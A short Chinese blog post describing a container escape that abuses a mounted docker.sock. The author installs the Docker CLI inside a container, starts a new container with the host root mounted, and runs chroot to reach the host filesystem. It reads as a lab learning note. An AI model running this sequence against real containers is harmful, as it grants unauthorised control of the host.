首页 > 其他分享 >容器逃逸 --with docker.sock

容器逃逸 --with docker.sock

时间:2022-12-16 14:44:07浏览次数:39  
标签:容器 -- sock apt ubuntu docker

容器逃逸 --with docker.sock

本人对于容器逃逸的基本理解就是用户从容器中逃出去到宿主机里去了。

本文意在记录一个使用 docker.sock 来进行容器逃逸的方法。

首先随便来个镜像,这里选用 ubuntu:20.04

docker pull ubuntu:20.04
docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock -d ubuntu:20.04

可以看到这里挂载了 docker.sock 到容器内。

进入容器并下载 docker-ce-cli

apt update
apt-get install     ca-certificates     curl     gnupg     lsb-release

mkdir -p /etc/apt/keyrings
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | gpg --dearmor -o /etc/apt/keyrings/docker.gpg

echo \
  "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \
  $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null

apt-get update
apt-get install docker-ce-cli

然后运行一个新的容器:

docker run -it -v /:/host ubuntu:20.04 bash

可以看到这里把根目录挂载到了新的容器内,要注意这个根目录可不是当前容器的根目录,而是当前容器的宿主机的根目录,在新的容器内,我们执行

chroot /host

这样就可以在新的容器内直接访问宿主机的文件系统了,实现了逃逸。

标签:容器,--,sock,apt,ubuntu,docker
From: https://www.cnblogs.com/xdaniel/p/16987329.html

相关文章

  • 如何用python自动化微信小程序
    如何微信小程序自动化抢到跨境安最近,接到一个这样的需求,最终交付的结果如下:为了保护隐私,做了马赛克的处理。一、界面的实现程序提供一个界面,用于启动模拟器和实现启动抢票脚......
  • 梦想CAD控件安卓交互绘图
    一、简介在cad使用过程中,动态绘制的使用会使我们绘图速度大大加快。在此演示中,我们绘制了直线、多段线、点、样条线、圆、圆弧、椭圆、椭圆弧等实体。二、绘制直线用户可以......
  • 基于基于全局差错能量函数的双目图像立体匹配算法matlab仿真,并提取图像的深度信息
    1.算法概述全局的能量函数公式如下:E(f)=Edata(f)+Esmooth(f)其中,Edata表示能量函数的数据项,意为该像素只考虑自身的视差值的倾向,不考虑邻域内其他像素的影响;N表......
  • 保护网站安全一定要牢记这五点!
    在信息化高速发展的今天,无论是对于企业还是站长而言,保护网站的安全性都是重要的事情,因为网站不仅仅是企业的门面,更是收获客户的重要营销工具。那么如何有效的保护网站安......
  • 前端面试题【js动态创建节点、怎么阻止冒泡事件、怎么阻止默认事件、什么是深拷贝,什么
    前端的那些基本标签​​......
  • 智勇三国需求规格说结书1.0.0
     智勇三国需求规格说明书 作者:何志丹 文档修订记录版本号修订内容简述修订日期作者1.0.0初稿2014-02-26何志丹             ​​1 术语3​​​​2 已有......
  • 如何制作一个实时在线显示评论?
    通过循环容器及数据表功能,制作一个发送评论实时显示的功能效果展示具体步骤制作评论背景制作评论样式制作一个发送评论输入框制作一个发送按钮创建评论数据表添加获取评论事......
  • 智勇三国生成验证码的程序,欢迎指教
    ​​智勇三国​​生成验证码的程序,欢迎指教。 思路如下:一,取得桌面DC。二,计算位置。三,建立内存DC和位图并填充背景。四,每个字输出到DC上,上下随机偏移0到4并倾斜。五,......
  • 如何删除数据并刷新列表
    在循环容器中使用数据中心和触发器实现删除某一条数据效果展示前置准备一个消息列表一个消息数据表具体步骤(3)添加一个图标创建消息查询与删除事件创建消息查询与删除触发器......
  • 网上的易经谬论
    说实话,易经这本书阐述的道理。说实话,没有人是我的老师。如果说,硬要说有老师的话,我想只有当年高中教我英语的男老师了。至少还来了句,这世间有一种叫“道”的东西。是的,这句话......